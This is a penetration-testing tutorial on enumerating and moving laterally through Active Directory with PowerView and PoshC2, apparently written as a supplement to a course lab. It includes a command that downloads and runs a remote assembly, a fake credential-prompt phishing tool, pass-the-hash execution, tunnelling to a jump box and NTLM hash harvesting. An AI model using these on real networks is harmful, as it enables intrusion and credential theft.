The Penetration Testing with Kali Linux course offered by Offensive Security (PWK) covers a lot of ground important to every penetration tester, but it can’t cover everything. Some topics are only touched upon briefly in the textbook and your knowledge of them isn’t thoroughly tested in the lab. The intent of this series is to expand upon and fill in some gaps left by the PWK course, so that you’re confident in your ability to handle Windows networks. This series covers techniques that I’ve learned from the best researchers in the field, done in a step-by-step fashion.

All of the topics in this series will have some things in common.

Shields Up - Wherever possible, the payloads, post-exploitation steps, techniques and procedures demonstrated will happen on Windows machines with some level of defenses active. Normal endpoint defenses like AV and AMSI will be present. UAC will be active and set to default. PowerShell logging will be active. PowerShell execution policy will be default for the OS. The idea is to replicate a reasonable default defensive posture.

Low privileges by default - Where applicable, I’m not going to begin conveniently as local Administrator. Too many Active Directory post exploitation tutorials begin with “Once on the machine, just magically privesc to local admin, and then…”. This is unhelpful. We’re going to explore what to do when high privileges don’t just fall into your lap.

Narrow tool focus - These articles will focus on using a small set of tools. Finding good projects that are maintained and responsive to bug reports and pull requests is difficult in this space. The gems that get continued support are worth investing time into.

Post-Preamble: 2021

These posts were written near the beginning of 2019 and while mostly still relevant, might not use the most up-to-date versions of software or techniques. I’m leaving them up because they continue to get views.

Overview - Enumeration and Movement Tech

Microsoft’s Active Directory (AD) is a complex system that forms the backbone of the modern commercial network environment. As an offensive security professional, you must be comfortable with it. You must distill the results of careful enumeration into an attack plan that will take you from a (seemingly) unprivileged user to the most highly privileged administrators. Concepts like Organization Units, Group Policy Objects, permissions lists, SPNs, and access rights must be understood so that the path to higher domain rights can be discerned.

This article is meant to be read along with its counterpart, [Demonstrating AD lateral movement], which isn’t up yet. I’ll update this article when it is. The concepts and tools discussed here come together to achieve various ends in a lab that simulates a small AD. I do this so that you can see what it looks like when the tools work.

You might also see what happens when they don’t work. Welcome to hacking.

As in the previous two articles, the primary post-ex framework will be PoshC2. I will also be leaning heavily on PowerView and a few scattered scripts, assemblies, etc.

PowerView notes and some nomenclature

Many, but not all, of PowerView’s cmdlets return objects and as such can be filtered with select <property_name>. Many also support a ‘native’ -Properties filter argument, saving you the trouble of piping the output to the select command.

Most cmdlets support an -Identity argument for specifying a target for your enumeration. It’s so common that I’ve omitted it from these descriptions. Not using the -Identity argument by default usually causes PowerView to dump out every entity of the type you’re enumerating. If you just need an example object, so that you can decide what’s important for filtering purposes, use the -Findone argument. And finally, the cmdlets usually take a -Domain and/or a -Server argument for times when you want to control which domain or server you want to query.

A full accounting of the cmdlets in PowerView can be found here.

This article uses the term ‘principal’ or ‘security principal’, which is Microsoft speak for any AD object to whom security controls apply. So users, computers, and groups.

AD Enumeration

To start, let’s talk about the objects you can discover and learn about that come from querying the AD directly. Each command that follows shows a primary cmdlet, followed by optional arguments or pipelines I’ve found useful.

Generic Domain Enumeration

  • Get-Domain

    • | Select name,domaincontrollers,forest,parent
    • | select domainmode
      You have to start somewhere, and that’s here. domainmode returns the functional level of the domain. This will give you a list of domain controllers and their membership hierarchy, which you’ll then feed into…
  • Get-DomainController

    • | Select name,IPAddress,OSVersion
    • | Select -expandproperty roles
      Calling this without specifying an -Identity string will return every DC the client machine can reach. Roles from the server can tell you more about whether or not the particular DC does more than just DC duties.
  • Get-DomainGroup

    • -Properties name,whencreated
    • -Admincount
      Lists all groups. Groups are how ACLs for filesystem objects and other resources are applied. The -Admincount argument is a filter based upon an AD attribute. ‘admincount’ principals belong to a so-called “protected” group. Usually this attribute indicates admin rights, hence the name. However, the attribute is not removed even when the principal is removed from the protected group, so it’s not 100% indicative of privileged status.
  • Get-DomainGroupMember

    • -Identity '<groupname>' | Select membername
    • -Identity 'Administrators' -recurse | Select membername -Unique
    • | Select membername,sid
      Lists the members of a principal group. This cmdlet is flexible and can return child groups and users. As such, an example using recursion is provided, along with a filter to remove duplicate entries. Lastly, we have an example to display the SID of the principal.
  • Get-DomainSite

    • -Properties name,whencreated
      If the administrators have set up different sites and subnets for the AD, this will enumerate them. This could be useful in a number of ways, such as discerning old sites (which might have old settings/setups) from new sites (which might not be fully locked down).
  • Get-DomainDnsRecord

    • -zonename <FQDN> | select name,data
      Lists DNS records for any hosts the local AD DNS servers know about. I don’t know if this command works for non-MS DNS servers that are AD aware/joined, but theoretically it should.
  • Get-DomainManagedSecurityGroup
    If an AD group has a ‘Manager’ member, that member has the right to add and remove principals from the group. This could be useful when the managed group is privileged, if you can access the Manager’s account.

  • Get-DomainFileserver / Get-DomainDFSShare
    These two are meant to find file shares that are consumed by AD users. The first works by a fairly clever query, looking for users that have a UNC path listed for a homedirectory, scriptpath or profilepath. This is well done because it keeps the amount of network traffic to a minimum, rather than just attempting to talk to every host on the domain for a list of shares. The second cmdlet finds Distributed File Systems using a similar LDAP query.

  • Find-DomainShare

    • -CheckShareAccess
    • -ComputerLDAPFilter "(name=<computername>)"
    • -ComputerSearchBase "LDAP://OU=Lab,DC=testlab,DC=local"
    • -ComputerOperatingSystem "*2012*"
    • -ComputerServicePack "SP3"
    • -ComputerSiteName "*<site>*"
    • | Where {$ -notlike "*$"} | select name,computername
      This cmdlet manually examines AD hosts for SMB shares. As it contacts every host, this cmdlet is quite slow, so be prepared when running it on a large environment. There are many filters available for the output so that you can focus on the types of hosts you’re most interested in. The last expression in the list filters out default shares like ‘Admin$’ or ‘IPC$’ from the results while also reducing the verbosity of the output.

Domain Host Enumeration

  • get-domaincomputer

    • -Searchbase "ldap://OU=lab,dc=0metalab,dc=private
    • -ComputerLDAPFilter "(name=<computername>)"
    • -ComputerSearchBase "LDAP://OU=Lab,DC=testlab,DC=local"
    • -ComputerOperatingSystem "*2012*"
    • -ComputerServicePack "SP3"
    • -ComputerSiteName "*<site>*"
    • -Unconstrained
    • -Properties dnshostname,operatingsystem,useraccountcontrol
      Primary means of enumerating details of AD computer principals. This cmdlet also provides a way of retrieving the computer members of a given OU through -Searchbase. Host filtering is available. You can also search for servers with “Unconstrained Delegation” enabled; for more information, see adsecurity. The ‘useraccountcontrol’ property can sometimes expose servers that have extra trust-related rights.
  • Get-WMIProcess -computername <machinename>

    • | select processname,user,processid
    • Where-Object {$_.user -eq 'SYSTEM'} | Select processname,processid Lists all processes running on the target machine. Works locally or for remote machines, but remote admin privilege is required for remote queries. Sometimes the RPC service listener won’t respond or is blocked by a firewall. A fantastic way to scout ahead of a lateral move to look for AV or EDR solutions. A filter on verbosity is demonstrated, as well as an example that only shows SYSTEM processes.
  • Find-LocalAdminAccess

    • -CheckShareAccess
    • -ComputerLDAPFilter "(name=<computername>)"
    • -ComputerSearchBase "LDAP://OU=Lab,DC=testlab,DC=local"
      This enumerates all reachable machines from the AD, and then runs another cmdlet Test-AdminAccess against those hosts. It then notes successful access attempts. It’s slow, but can result in some quick wins. The -ComputerSearchBase and -ComputerLDAPFilterarguments pre-filter the hosts contacted, which can cut down dramatically on the amount of time this query can take in large organizations. This method is fairly noisy as the workstation will be contacting every reachable host.
  • Find-DomainProcess

    • -Processname msmpeng.exe
    • -UserIdentity <username>
    • -UserGroupIdentity <groupname>
    • -ComputerLDAPFilter "(name=<computername>)"
    • -ComputerSearchBase "LDAP://OU=Lab,DC=testlab,DC=local"
    • -ComputerOperatingSystem "*2012*"
    • -ComputerServicePack "SP3"
    • -ComputerSiteName "*<site>*"
      Uses Get-WMIProcess, but in a domain-wide way, with lots of available filtering. Requires admin-level access on any given host that it attempts to poll. Takes a long time to run, so beware when running it on large environments.
  • Get-NetRDPSession -computername <hostname>

    • | Select username,state
      This will show recent and current RDP session statuses on a remote host, if you have Administrators or Account Operators privileges on the host.

Local Host Enum

  • Get-LocalGroupMember administrators
    A Microsoft built-in on Windows 10 (or hosts with Powershell 5.1 or higher), part of the Microsoft.PowerShell.LocalAccounts namespace, which also includes cmdlets that broadly replace the net binary.

We’re going to divert a little bit here and leverage a C♯ assembly for more local host enumeration.

When I initially wrote this, PoshC2 didn’t have explicit support for C♯ assemblies. This support was added in version 4.6. The new Implant type makes working with .Net assemblies easier. However, the pure PowerShell method shown below still works, and in a way I prefer it. The C♯ Implants are pretty constrained since they lack a remote shell. Use whichever method you prefer though.

The two commands below are examples of remote-loading an assembly directly into the appdomain your Implant inhabits.

# Windows 7  
[System.Reflection.Assembly]::Load(((New-Object Net.WebClient).downloaddata("http://URI>")))  

# Windows 10  
[System.Reflection.Assembly]::Load((iwr -usebasicparsing http://<URI>).content)  

Note that not all of the various offensive C♯ projects you find on GitHub play nicely with this if they were originally designed to be executed as an EXE at a console. For example, Seatbelt needs to be modified to be callable from your PowerShell environment.

To work properly with the Implant, the only thing you need to do in Seatbelt’s source is change the Program class in the ‘Program.cs’ file to be public. You can then build it as a DLL, against the .Net 4.0 framework.

Unfortunately, that’s not all you have to do; because of the runspace aspect of the PoshC2 shell and the way Seatbelt is written, you have to capture the output manually because it won’t be written to the console. To get around this, spawn a new PowerShell process.

powershell -command '[System.Reflection.Assembly]::Load((iwr -usebasicparsing; [Seatbelt.Program]::UserChecks()'| out-file c:\users\public\results.log

This command created a new runspace, loaded Seatbelt into it, and ran it. The runspace is automatically destroyed afterwards. A file containing the results is saved with Out-File. You can then either download the file and delete it, or view it directly with gc.

To avoid writing to disk, a Write-Output can be substituted for the Out-File cmdlet.

Not all C♯ assemblies require this much hassle to use. Try out any you find and see which ones work easily and which require more effort.

SeatBelt outputs a tremendous amount of information, so I won’t go over its output here. It is very similar to the various Linux privilege enumeration scripts out there though. If you are familiar with those scripts, you will be comfortable with SeatBelt.

Domain Users

  • Get-DomainUser

    • -Properties cn,memberof,pwdlastset
    • -SPN
    • -Admincount
    • -Searchbase "ldap://OU=lab,dc=0metalab,dc=private"

    Primary means of discovering AD user principals. The first line filters the output down to some essentials, as the default output is very verbose. Experiment with the various properties. You can filter for SPN entries, along with the AdminCount attribute described in the Get-DomainGroup. Specifying an Organizational Unit with -Searchbase allows you to enumerate OU members.

Domain GPOs and OUs

  • Get-DomainGPO

    • Select displayname,whencreated
    • -gplink
      Lists all the Group Policy Objects in the domain. I recommend filtering this by displayname first, and then getting the full-fat output only on the policies that look interesting. Very new or very old policies might deserve special examination. Use ‘-gplink’ along with a GUID of a GPO in order to see to what OU(s) a given GPO is linked.
  • Get-DomainOU

    • -Properties distinguishedname,description,whencreated
      Retrieve domain Organizational Units. Enumerating OUs is an important step, because GPOs apply to OU objects. GPOs, as we’ll see later on, can be extremely interesting for an attacker. The suggested Properties reduce a lot of verbosity and show you what you need to know. Enumerating OU member objects is explained later.

GPOs and OUs and how they relate/interact

The primary purpose of an AD Organizational Unit (OU) is to be the object upon which Group Policy Objects (GPO) apply. OUs can contain other OUs, groups, or users/computers. OU members will have linked GPOs applied to them periodically, and at login. Usually. For a run down on the exact linking mechanism that determines GPO application to objects, see wald0’s post.

GPO objects exist in the AD database, but they have a real filesystem component that you can browse as an authenticated domain user. The SYSVOL, a special domain-wide SMB share, stores special files. These files are used by the AD when the GPO is applied to a machine or user. Each GPO has a directory in the SYSVOL, named for its GUID.

Just browsing the GPOs can tell you a lot about how the organization is laid out. You can identify powerful groups that you might want to examine more closely. Use the Get-DomainGPO and Get-DomainOU commands with various filters to help you discover anything interesting.

GPOs have a Discretionary Access Control List (DACL) that describes who is allowed to do what to it. A listing in the DACL is called an Access Control Entry (ACE). Each ACE describes a principal, and the rights that principal has on the GPO.

A principal that has generic write access can change any aspect of the GPO. This includes modifying the GPO to do different things than originally intended. For example, adding users to privileged groups when the GPO originally assigned a logon script. Additionally, the principal account that created a GPO always has certain privileges, called ‘Creator Owner’.

If you discover non-DA accounts that have write privileges against any GPO, capturing credentials for that account enables you to leverage the GPO into further domain access.

As an exercise, let’s look at two types of rights you might find described in a DACL. The first type includes such rights as GenericAll, GenericWrite, WriteDACL, WriteProp, WriteOwner, and others. The second deals with Extended Rights that are typically very narrow in scope, but potentially very powerful, like access to domain controller secrets.

A reading of the first type, using the names of the fields from Find-InterestingDomainACL (outlined below) looks like:

IdentityReferenceName has right ActiveDirectoryRights on objectDN

0METALABDC01$ has right GenericAll on CN=Domain System Volume,CN=DFSR-localSettings,CN=0METALABDC01,OU=Domain Controllers,DC=0metalab,DC=private

This says that the computer account for the DC in my lab has full rights to the SYSVOL DFS-R replication settings container.

A reading of the second type looks like:

IdentityReferenceName has right ActiveDirectoryRights on objectDN of type ObjectACEType

adminguyone has right Extended Right on DC=0metalab,DC=private of type DS-Replication-Get-Changes

This says that the domain administrator account ‘adminguyone’ has part of the so-called “DCSync” right on the root domain container.

Normally, you’d have to engage in a tedious process of queries and correlation steps in order to try and detect dangerous GPO/ACL relationships. PowerView steps in and provides a single meta function that does all the hard work for you.

  • Find-InterestingDomainACL -resolveguid
    • | Where {$_.Identityreferencename -notlike '*$'}
    • | Select identityreferencename,activedirectoryrights,objectdn,objectacetype |fl
      I’ve suggested an additional bit of piping to eliminate machine accounts you likely won’t have access to, and emit a more readable digest. If you see domain user accounts with GenericAll or Write privileges to a GPO, that’s where you will focus your effort.

By default, the human name of the GPO won’t be shown, just a ‘DistinguishedName’ that includes a GUID. As of this writing, PowerView’s GUID resolver in this function isn’t working, but you can just use the following command to resolve the name correctly.

  • Get-DomainObject -ldapfilter "(name={GUID})'
    • | select displayname,gpcfilesyspath

With the human name you’ll more easily remember the policy you’re working with. The suggested pipe neatly prints the SYSVOL path you’ll need when you go to weaponize what you’ve found.

“Restricted Groups” are a set of default principal groups defined in the AD that have special rights. “Domain Admins” and “Enterprise Admins” are obvious and well known, but “Remote Desktop Users” and “Remote Management Users” (for WinRM remoting) are also examples of these groups. Their purpose is to apply a specific local configuration to a machine. When a domain user logs into that computer, they may have elevated rights that don’t apply elsewhere on the domain.

Finding these correlations between groups, OUs and GPO links would be really tedious. Of course, PowerView comes to the rescue with the mouthful Get-DomainGPOUserLocalGroupMapping.

  • Get-DomainGPOUserLocalGroupMapping
    • -Identity
    • -LocalGroup
      If you pass the cmdlet with no options you’ll get every mapping it can find. Normally you’d specifiy a target group with -LocalGroup or a specific user with -Identity.

Finding credentials for a user that is in a Restricted Group on some host provides excellent persistence and lateral movement capabilities. Such a host can be customized to provide a jump box for other domain activities.

In case it wasn’t obvious, this cmdlet will only find this configuration as implemented through a GPO. If an admin came along and just manually added a domain user account to a local group on a specific host, that won’t be picked up. To detect those cases, you’ll want to use the Find-LocalAdminAccess cmdlet I outlined already.

Other Enumeration types

Oldie but goodie: Extracting passwords from various task files

Group Policy can push many types of configuration states out to domain computers and users. Logon scripts, Task Scheduler documents, Windows preferences, share mappings, etc. Applying many of these things requires elevated privileges. Therefore, it was normal for a long time to store administrative credentials in Group Policy Preference (GPP) files so that whatever task needed to be done could execute automatically. The passwords were encrypted with AES, which was good.

Then, Microsoft published the AES decryption key to the GPP passwords.

Since every domain user needs read access to the SYSVOL, there’s no way to deny access to sensitive GPP files without breaking things. If there are any credentials stored in one of these files, it’s likely to be a privileged account.

PowerView has us covered in digging for gems in the SYSVOL.

  • Get-GPPPassword
    This handy cmdlet searches the SYSVOL for the domain (although you can also specify a server) for a small range of known-sensitive files. These include groups.xml, scheduledtasks.xml and service.xml. It will decrypt them for you with the key MS published, and display the credentials.

Those files aren’t the only interesting ones though, and the more generalized cmdlet below will allow you to make custom searches.

  • Find-InterestingFile -Include <filetype> -path <\\path>

    • -CheckWriteAccess
    • -ExcludeFolders

    The Include argument accepts globs, so you can do *passwords* or budget* or *.docx. You can filter for files that you have write access to as well. Your user must have read access to the share for this cmdlet to work.

Other Domain Resources

It’s important to mention briefly the other sorts of devices and such you might find on the AD during your enumeration steps.

Storage appliances (TrueNAS, Synology boxen, etc) can be important finds on the network. They might contain backups of live servers, which can be remote mounted or exfiltrated and inspected for sensitive details. They may contain ‘golden images’ or other installation media for workstations and servers. Those images can have files with sensitive administrative details like ‘unattended.xml’. If the appliance is based on ZFS or other sophisticated filesystem, there might also be snapshots available that could be inspected for older configurations.

Active Directory supports a utility called ‘ntdsutil.exe’ that generates full copies of the AD database. These offline copies are intended to be used to promote a server to a DC without requiring a full synchronization of the AD database over the network. The output directory for the database is called ‘ifm’ by default, and should be closely guarded.

Concerning printers, AD-integrated printers can store all sorts of information if you have access rights. If the printer has scan-to-pdf or other document functions, check to see what user account is being used by the printer. If its privileged, look up the printer’s model to check for exploits. Also see if the credentials in any web-based login page have been effectively masked. Your browser’s dev tools should be helpful in checking for “input type=‘password’” in the HTML of the page the printer returns. Explanation of this technique here Using printers for persistence and true pivoting is well beyond the scope of this article.

Non-AD enumeration

So now you’ve sussed out things the AD knows about. How about all the devices and hosts that the AD doesn’t know about? Traditional host discovery might have gotten you into the network. Now that there is a router or firewall (or worse) in the way, you’ll need to utilize a different approach to figuring out the complete map of the network.

Pivoting/Tunneling Traffic

PoshC2 has a built-in pivoting tool based on Sharpsocks, but it’s somewhat inconvenient to use when used in tandem with the python-based C2 server, since the .Net framework has to be installed on a host. I’ve found it more convenient to use rpivot and its Python executable for Windows. After starting the server script, run the client on the Windows host through PoshC2 like so:

invoke-wmimethod -Class Win32_Process -Name Create -ArgumentList 'powershell -win hidden -command "\\path\\to\\client.exe --server-ip <your-jump-box> --server-port <port>"'

So this is round-about command, because we’re working around several different nuisances simultaneously.

First, the rpivot client opens a visible command window. I’ve not found a way to override that in the client itself, so we open it from PowerShell with the window hidden argument set. This hides the window….but because the command doesn’t immediately return, it blocks the Implant. Not good. We could just spawn a second implant and have it take the fall for running the pivot, but there’s another way.

Instead, we’ll wrap the PowerShell command in a WMI command which naturally backgrounds the child processes and thus unblocks our Implant. Now the tunnel is up and running.

rpivot has two processes, so make sure they’re both killed when it’s time to turn the proxy off. Usually killing the process using more memory kills both. You can use Stop-Process to kill the processes by PID.

Once your pivot is up and running, you may use proxychains or your tool of choice to exploit the tunnel you’ve made.

Host Discovery

Before we hit up nmap, let’s talk a bit about the downsides of our pivoted connection into the network from outside.

The biggest issue is that the technique that makes nmap fast (its intense use of threading and overlapping requests to ports on hosts) causes false negatives through your pivot. The -T flag controls how aggressive nmap is during scanning. Anything above -T2 is likely to give you false negative results, since your proxychains connection only supports one connection/mapping at a time. There are a few things you can do to massage better characteristics out of your scans, but it’s best if you use your implant itself to do as much of the host discovery as you can.

PoshC2 has some network host enumeration built-in, but I chose to adapt a ping-sweep script I found online for use through the implant. Invoke-PingSweep takes a -begin and -end argument pair for an IP range. It outputs a ‘success.txt’ file in the current working directory. The file contains a one-IP-per-line format perfect for feeding into other tools. It is, however, quite slow because it uses the Test-Connection cmdlet to do the actual test and it isn’t done asynchronously.

Use gc to see what results you got. You may also copy/paste them into a text file for nmap or use the download function of PoshC2 to retrieve the file. Don’t leave it sitting around!


Installing nmap on a host when you don’t have local admin privileges is right out, because the WinPCAP driver/library is required to run nmap. The presence of nmap is also quite suspicious in itself. Therefore, you should tunnel it through your proxy if you need it.

With a couple of tweaks this works reliably, but the scans are very slow.

We’ll need to modify the /etc/proxychains.conf file on the host running your rpivot server binary. We’re going to trim down the values on the tcp_read_time_out and tcp_connect_time_out parameters to 250. This may or may not be too aggressive for your use, so play with the value until your scans go as fast as they can without giving strange results. For example, ports that you know are open reporting ‘filtered’ or ‘closed.’

Your nmap invocation should include the -T2 parameter. You’ll also want to omit the host discovery step with -Pn.

Obviously, a random computer suddenly spewing packets all over the network is suspicious in the extreme, and easily detectable. If you suspect a SIEM or other IDS is monitoring the network segment, you probably ought not use nmap.

Other Tools and Techniques

I’m going to wrap up this article with a description of some of the tools and techniques you need to be familiar with. While not specifically reliant on AD per se, you’re going to be using one or more of them frequently. Let’s cover them now.


Cred-Popper is built into PoshC2, and attempts to trick a user into entering their credentials in plain text for you to grab. A typical invocation might look like:

cred-popper -title 'Network Server' -caption 'Server restarted, please re-enter credentials'


This is a high risk/high reward technique, and the -Verb runas technique below might actually be less suspicious since it activates the Secure Desktop from UAC. However, this uses an old-but-legit Windows credential prompt. Best used when you need plaintext credentials quickly.

Lateral movement executables

WMI lateral movement tools are built into PoshC2. The Invoke-PsExec script that ships with PoshC2 has been modified to accept passwords instead of just NTLM hashes.

These tools are meant to be used once you have a complete credential, a username and hash or password. The user must have administrative privileges on the system you’re attempting to execute code on.

WMI invocation:

Invoke-WMIexec -target <IP/fqdn> -username <unqualified_name> {-password '<password>' | -hash '<hash>'} -command '<commands>'

PSexec invocation:

Invoke-PsExec -target <IP/fqdn> -username <unqualified_name> {-password '<password>' | -hash '<hash>'} -command '<commands>'

Both of these are sensitive to single and double quotes. The -command that WMI or PSExec is running must be enclosed in single quotes. Interior quotes are double quotes.

If Office is present in the environment, you have the additional option of using some easy DCOM techniques for lateral movement. My lab doesn’t include any Office products currently, so I won’t go over these in detail. CyberReason did though, so hit up that article and read about the techniques. Most of them have indicators that are pretty bold and will get caught by an EDR, but others are far more subtle.

There are several tools out there that operate using the service install, start, stop technique over a named pipe that PsExec uses, and they will have different indicators. It’s worthwhile to standardize your ops on a binary that allows you to modify these indicators easily. CSExec would allow you to blend in with the environment you’re running on by using common pipe names.

To get an idea of what named pipes exist on the system you’re on, use this bit of PowerShell.

gci \\.\pipe\

Now you can choose a combination that will appear very common or mundane.

You shouldn’t confuse these tools with the invoke-wmipayload and invoke-psexecpayload modules built into PoshC2, which are meant to spawn additional implants on remote hosts. These can be useful but are hard-coded to run the PowerShell payload, which can be logged or detected by AMSI.

Service Manager Controller

Another lateral movement technique is using the service controller, sc, to invoke a service binary on the remote host. This is actually part of what PsExec and its clones do when you run them. The binary you want to start must exist on the remote host; it doesn’t support UNC paths for the binpath. The binary must also be a service binary, meaning that it’s meant to work with the start and stop signals from the service controller.

A typical command line might look like:
sc.exe \\<remote_server> create <service_name> displayname= <human_name> binpath= x:\Path\to\Payload.exe start= demand
Then you start and stop it remotely via:
sc.exe \\<remote_server> {start|stop} <service_name> sc.exe \\<remote_server> delete <service_name>


Some users have the right to execute PowerShell on remote systems. This can be enabled per-system, or via a GPO. Ways to quickly find hosts that may have PSRemoting available is a scan using the Test-PSremoting script, nmap scans of ports 5985 and 5986, or look for the relevant SPNs for WinRM on the hosts. WinRM being enabled doesn’t 100% indicate PSRemoting is active. Even if it is, your user must have the right to PSRemote.

To begin, you create a remote session on a host, and then interact with it. Typical invocations look like:

$session = New-PSSession –ComputerName 0metalabdc02.0metalab.private –Credential $pscredential
Invoke-Command -Session $session -ScriptBlock {<commands>}
Clean up your session with:
Disconnect-PSSession -PSSession $session

You might notice that $pscredential object there. We’ll cover creating PSCredential objects in the next article a little closer to the fact. For now, just know that it’s a way to store credentials for use in various cmdlets. Most PowerShell cmdlets support execution using a different set of credentials.


RDP is pretty prevalent, and as long as the user you have access to is in the appropriate group, you can remote into a machine. Something to be aware of is what happens when you try to log into a host where a different user is logged in, or where the same user is logged in.

In the case where you are impersonating user A, and user B is logged in, you’re safe. The RDP client will tell you that someone is already logged in, and you can abort the connection attempt before they are kicked out of their session.

However, if you are impersonating user A, and user A is already logged into the host, attempting to connect will automatically trample user A’s session. This is Bad. Unfortunately, there’s no way to query ahead of time for who is RDP’d into the system unless your user credentials have admin rights. If you do, use Get-NetRDPSession from PowerView. It will enumerate the active sessions.

Inveigh and Internal-Monologue

Originally I was going to talk about using Inveigh to do a local-listener loopback NetNTLMv2 hash drop.

Then I found Internal-Monologue, which does this automatically for me. @benpturner integrated it into PoshC2 a little later. So now, you can run Get-Hash and the Implant will perform the attack. If you’re not admin on the host, you’ll get a NetNTLMv2 hash, which you can attack in the same manner as you did with the Kerberoast. If you are admin though, you’ll get a NetNTLMv1 hash, which can be cracked in moments with a rainbow table. As a dangerous added bonus, if you run the “Internal-Monologue” attack as an admin when other users have logon sessions to the system, you’ll get their NetNTLMv1 hashes too.

Naturally, you can still use Inveigh for its intended purpose, and there are plenty of articles about its use. If you have admin privs on the host, it’s probably a good idea to sit and listen to the network and harvest hashes. However, if your recon reveals anything that looks like a logging or SIEM apparatus, I’d be very careful about running something like Inveigh or Responder. The Inveigh wiki has a section on how to modify your listener to try and make your spoofing harder to detect.

Asking nicely

Last but not least, sometimes, if you’ve run out of options on a box and you just need to elevate no matter what, you might just ask nicely for elevation.

Running any command from the PoshC2 shell with the -verb runas will spawn the UAC elevation prompt in the UI for the logged in user. If they click yes and supply administrative credentials, your command or Implant will execute in an elevated context.

Next Time: Actually Moving around

Thanks for hanging tough all the way to the bottom here. While this article is mostly an infodump, the purpose was to sketch out a map about the sorts of cmdlets you’ll be interacting with when scouting and moving around in an AD.

Next up, we’ll have some fun in an example AD.


I couldn’t have written all of this without the tireless work and research given freely by those in the infosec community. I’ve tried to cite them each time I link an article, but here in no particular order:

  • wald0
  • mattifestation
  • timmedin
  • subtee
  • gentilkiwi
  • danielhbohannon
  • ReL1K
  • rastamouse
  • xpn
  • rvrsh3ll
  • pyrotek3
  • CpnJesus
  • dirk-jan
  • harmj0y
  • cobbr
  • xorrior
  • hdmoore
  • sevargas
  • m0rv4i

Last but certainly not least, is @benpturner for the PoshC2 framework used extensively throughout this series. Accepting questions, bug reports, and nagging throughout, he was always ready to help.

And a second shout-out to @harmj0y and others for the PowerView project. While the leading edge of offensive tooling is moving on to C#, PowerView still provides a stout resource for investigating Active Directory.